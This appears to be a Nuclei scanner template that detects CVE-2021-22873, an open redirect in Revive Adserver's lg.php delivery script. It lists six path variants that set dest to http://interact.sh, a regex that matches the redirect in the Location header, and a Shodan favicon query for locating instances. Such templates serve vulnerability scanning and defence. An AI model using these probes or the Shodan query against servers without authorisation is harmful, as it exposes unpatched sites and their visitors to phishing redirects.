id: CVE-2021-22873

info:
  name: Revive Adserver < 5.1.0 Open Redirect
  author: pudsec
  severity: medium
  description: Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22873
    - https://hackerone.com/reports/1081406
    - https://github.com/revive-adserver/revive-adserver/issues/1068
    - http://seclists.org/fulldisclosure/2021/Jan/60
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22873
    cwe-id: CWE-601
  metadata:
    shodan-query: http.favicon.hash:106844876
    verified: "true"
  tags: cve2021,redirect,revive,hackerone,seclists,cve

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
      - "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1